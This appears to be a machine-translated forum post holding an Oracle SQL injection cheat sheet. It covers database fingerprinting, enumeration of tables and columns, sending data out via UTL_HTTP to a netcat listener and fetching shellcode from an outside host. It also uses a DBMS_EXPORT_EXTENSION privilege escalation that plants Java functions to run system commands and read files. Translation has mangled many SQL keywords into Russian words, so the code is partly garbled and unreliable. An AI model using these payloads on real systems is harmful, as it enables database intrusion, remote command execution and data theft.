Этот пост был последний раз отредактирован тестом 24.01.2015 13:01
Комментарий: -- Выполнение нескольких предложений не поддерживается, а федеративные запросы поддерживаются Имена баз данных, таблицы и столбцы пишутся с заглавной буквы.
длина(поле) ascii(substr(поле, N, 1))
и (выбрать count(*) из двойственного)>0 -- Определить, является ли это оракулом или нет
Порядок по n--
и 1=2 объединения выберите null, null,.....,null из двойственной — замените null на N или 'N'
и 1=2 объединение выбора null, (SQL-оператор) ,.....,null из dual — изменение на (sql-оператор) в 'N'
и (выбрать count(*) из all_objects, где object_name='UTL_HTTP')>0 — Определить, поддерживается ли UTL_HTTP (известен ли экспортный IP)
и UTL_HTTP.request('http://LocalIP:port'|| (SQL-оператор)) =1-- Удалённая отправка сообщений на местный, локальный прослушивающий nc -vv -l -p 1234
SQL-операторы Выберите баннер из sys.v_$version, где rownum=1 для запроса к версии оракула выберите член из v$logfile, где rownum=1 Запросить путь к лог-файлу (Windows или Linux) Выберите utl_inaddr.get_host_address из dual, чтобы запросить IP к прослушиваемой базе данных Выберите instance_name из v$instance для запроса к sid выбрать имя из v$database Запросить текущее имя базы данных Выберите sys_context ('userenv','current_user') из пользователей базы данных с двойным запросом выберите * из session_roles, где rownum=1, чтобы запросить текущие пользовательские права выберите * из session_roles, где rownum=1 [и роль<>'имя первого разрешения']
выберите table_name из user_tables, где rownum=1 Первый сегмент таблицы текущей базы данных выберите table_name||','|| tablespace_name из user_tables, где rownum=1 Первый сегмент таблицы, база данных (для проверки это может быть не v$database) выберите table_name из user_tables, где rownum=1 и table_name<>'сегмент первой таблицы' Второй сегмент таблицы текущей базы данных
выберите column_name из user_tab_columns, где rownum=1 и table_name='Сегмент таблицы' Первое поле, соответствующее названию таблицы выберите column_name из user_tab_columns, где rownum=1 и table_name='Сегмент таблицы' и column_name<>'Первое поле' Второе поле, соответствующее названию таблицы
выберите поле из сегмента таблицы, где rownum=1 нарушает содержимое первой строки выберите поле из сегмента таблицы, где rownum=1 и поле <> «содержимое первой строки» открывает содержимое второй строки
Кросс-библиотечное взаимодействие выберите владельца из all_tables, где rownum=1 запрашивает первое имя базы данных выберите владельца из all_tables, где rownum=1 и owner<> «Первое имя базы данных» для запроса второго имени базы данных
выберите table_name из all_tables, где rownum=1 и owner='name базы данных' Запросить имя первой таблицы соответствующей базы данных выберите table_name из all_tables, где rownum=1 и owner='name database' и table_name<>'first table name' для запроса второго названия таблицы соответствующей базы данных
выберите column_name из all_tab_columns, где rownum=1 и owner='имя базы данных' и table_name='сегмент таблицы' Первое поле, соответствующее названию таблицы выберите column_name из all_tab_columns, где rownum=1 и owner='имя базы данных' и table_name='сегмент таблицы' и column_name<>'первое поле' Второе поле, соответствующее названию таблицы
Выберите поле из базы данных. сегмент таблицы, где rownum=1 нарушает содержание первой строки Выберите поле из базы данных. Сегмент таблицы, где rownum=1 и поле <> «Содержимое первой строки», нарушает содержимое второй строки
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR','DBMS_OUTPUT". PUT(:P 1); многооператорный END; --','SYS',0,'1',0)--
Если 'is escapeed, используется chr().
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES(chr(70)|| chr(79)|| chr(79),chr(66)|| chr(65)|| chr(82), chr(68)|| chr(66)|| chr(77)|| chr(83)|| chr(95)|| chr(79)|| chr(85)|| chr(84)|| chr(80)|| chr(85)|| chr(84)|| chr(34)|| chr(46)|| chr(80)|| chr(85)|| chr(84)|| chr(40)|| chr(58)|| chr(80)|| chr(49)|| chr(41)|| chr(59)|| Мульти-оператор || chr(69)|| chr(78)|| chr(68)|| chr(59)|| chr(45)|| chr(45),chr(83)|| chr(89)|| chr(83),0,chr(49),0)=0--
Если несколько предложений слишком длинные, вы можете записать заявление в файл сайта и воспользоваться utl_http.request для его извлечения.
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR','DBMS_OUTPUT". PUT(:P 1); utl_http.request('http://www.guetsec.com/shellcode.txt'); --','SYS',0,'1',0)--
Создать пакет JAVA SecTest runCMD используется для выполнения системных команд и '1'<>'a'|| (выберите SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR','DBMS_OUTPUT". PUT(:P 1); НЕМЕДЛЕННО ИСПОЛНИТЬ «ОБЪЯВИТЬ ПРАГМУ AUTONOMOUS_TRANSACTION»; НАЧАТЬ ВЫПОЛНЯТЬ НЕПОСРЕДСТВЕННО'' создать или заменить и компилировать java-исходный код под названием "SecTest" как импорт java.io.*; public class SecTest расширяет Object{public static String runCMD(String args){try{BufferedReader myReader=new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args) .getInputStream())); Струнный stemp,str=""; while((stemp=myReader.readLine())!=null) str+=stemp+"\n"; myReader.close(); возвратная сила; }catch(Исключение e){return e.toString(); }}}''''; КОНЕЦ; ''; КОНЕЦ; --','SYS',0,'1',0) от dual)--
readFile используется для чтения файла и '1'<>'a'|| (выберите SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR','DBMS_OUTPUT". PUT(:P 1); НЕМЕДЛЕННО ИСПОЛНИТЬ «ОБЪЯВИТЬ ПРАГМУ AUTONOMOUS_TRANSACTION»; НАЧАТЬ ВЫПОЛНЯТЬ НЕПОСРЕДСТВЕННО'' создать или заменить и компилировать java-исходный код под названием "SecTest" как импорт java.io.*; публичный класс SecTest расширяет Object{public static String readFile(String filename){try{BufferedReader myReader=new BufferedReader(new FileReader(имя файла)); Струнный stemp,str=""; while((stemp=myReader.readLine())!=null) str+=stemp+"\n"; myReader.close(); возвратная сила; }catch(Исключение e){return e.toString(); }}}''''; КОНЕЦ; ''; КОНЕЦ; --','SYS',0,'1',0) от dual)--
Предоставление разрешений на Java и '1'<>'a'|| (выберите SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR','DBMS_OUTPUT". PUT(:P 1); НЕМЕДЛЕННО ИСПОЛНИТЬ «ОБЪЯВИТЬ ПРАГМУ AUTONOMOUS_TRANSACTION»; НАЧАТЬ ВЫПОЛНЯТЬ НЕМЕДЛЕННО '''Start dbms_java.grant_permission(''''''''PUBLIC'''''''',''''''''SYS:java.io.FilePermission'''''''',''''''''<<ВСЕ ФАЙЛЫ>>'''''''',''''''''исполнять''''''''); конец; ''''; КОНЕЦ; ''; КОНЕЦ; --','SYS',0,'1',0) от dual)--
Создайте функцию Функция SecRunCMD и '1'<>'a'|| (выберите SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR','DBMS_OUTPUT". PUT(:P 1); НЕМЕДЛЕННО ИСПОЛНИТЬ «ОБЪЯВИТЬ ПРАГМУ AUTONOMOUS_TRANSACTION»; НАЧАТЬ ВЫПОЛНЯТЬ НЕМЕДЛЕННО '''' создать или заменить функцию SecRunCMD(p_cmd in varchar2) вернить varchar2 как язык java name''''''''SecTest.runCMD(java.lang.String) return String'''''''' ; ''''; КОНЕЦ; ''; КОНЕЦ; --','SYS',0,'1',0) от dual)--
Функция SecReadFile и '1'<>'a'|| (выберите SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR','DBMS_OUTPUT". PUT(:P 1); НЕМЕДЛЕННО ИСПОЛНИТЬ «ОБЪЯВИТЬ ПРАГМУ AUTONOMOUS_TRANSACTION»; НАЧАТЬ ВЫПОЛНЯТЬ НЕМЕДЛЕННО ''''создать или заменить функцию SecReadFile(имя файла в varchar2) вернуть varchar2 как java name''''''''SecTest.readFile(java.lang.String) return String' '''''''; ''''; КОНЕЦ; ''; КОНЕЦ; --','SYS',0,'1',0) от dual)--
Разрешение на выполнение публичной функции SecRunCMD получает разрешения и '1'<>'a'|| (выберите SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR','DBMS_OUTPUT". PUT(:P 1); НЕМЕДЛЕННО ИСПОЛНИТЬ «ОБЪЯВИТЬ ПРАГМУ AUTONOMOUS_TRANSACTION»; НАЧАТЬ НЕМЕДЛЕННО ВЫПОЛНЯТЬ «предоставление всех на SecRunCMD для общественности»; КОНЕЦ; ''; КОНЕЦ; --','SYS',0,'1',0) от dual)--
SecReadFile и '1'<>'a'|| (выберите SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR','DBMS_OUTPUT". PUT(:P 1); НЕМЕДЛЕННО ИСПОЛНИТЬ «ОБЪЯВИТЬ ПРАГМУ AUTONOMOUS_TRANSACTION»; НАЧАТЬ НЕМЕДЛЕННО ВЫПОЛНЯТЬ «предоставить все данные на SecReadFile для общественности»; КОНЕЦ; ''; КОНЕЦ; --','SYS',0,'1',0) от dual)--
Определяет, была ли функция успешно создана и (выберите count(*) из all_objects, где object_name='SECRUNCMD')>0-- и (выберите count(*) из all_objects, где object_name='SECREADFILE')>0--
Выполните команду и '1'<>(select sys. SecRunCMD ('Выполнить команду') из dual)-- и '1'<>(select sys. SecReadFile('физический адрес файла') из dual)-- или и 1=2 объединения выбора нулев,...,системы. SecRunCMD('выполнить команду'),...,null from dual-- и 1=2 объединения выбора нулев,...,системы. SecReadFile('физический адрес файла'),...,null из dual-- или и '1'<>(выберите UTL_HTTP.request('http://LocalIP:port'|| ЗАМЕНИТЬ(ЗАМЕНИТЬ(SYS. SecRunCMD('Выполнить команду'),',',''),'\n','')) из dual)-- и '1'<>(выберите UTL_HTTP.request('http://LocalIP:port'|| ЗАМЕНИТЬ(ЗАМЕНИТЬ(SYS. SecReadFile('Физический адрес файла'),',','','\n',' ')) из dual)--
Функция удаления и '1'<>'a'|| (выберите SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR','DBMS_OUTPUT". PUT(:P 1); НЕМЕДЛЕННО ИСПОЛНИТЬ «ОБЪЯВИТЬ ПРАГМУ AUTONOMOUS_TRANSACTION»; НАЧАТЬ НЕМЕДЛЕННОЕ ВЫПОЛНЕНИЕ ФУНКЦИИ «DROP» SecRunCMD'; КОНЕЦ; ''; КОНЕЦ; --','SYS',0,'1',0) от dual)-- и '1'<>'a'|| (выберите SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR','DBMS_OUTPUT". PUT(:P 1); НЕМЕДЛЕННО ИСПОЛНИТЬ «ОБЪЯВИТЬ ПРАГМУ AUTONOMOUS_TRANSACTION»; НАЧАТЬ НЕМЕДЛЕННОЕ ВЫПОЛНЕНИЕ ФУНКЦИИ '''drop функции SecReadFile''''; КОНЕЦ; ''; КОНЕЦ; --','SYS',0,'1',0) от dual)-- |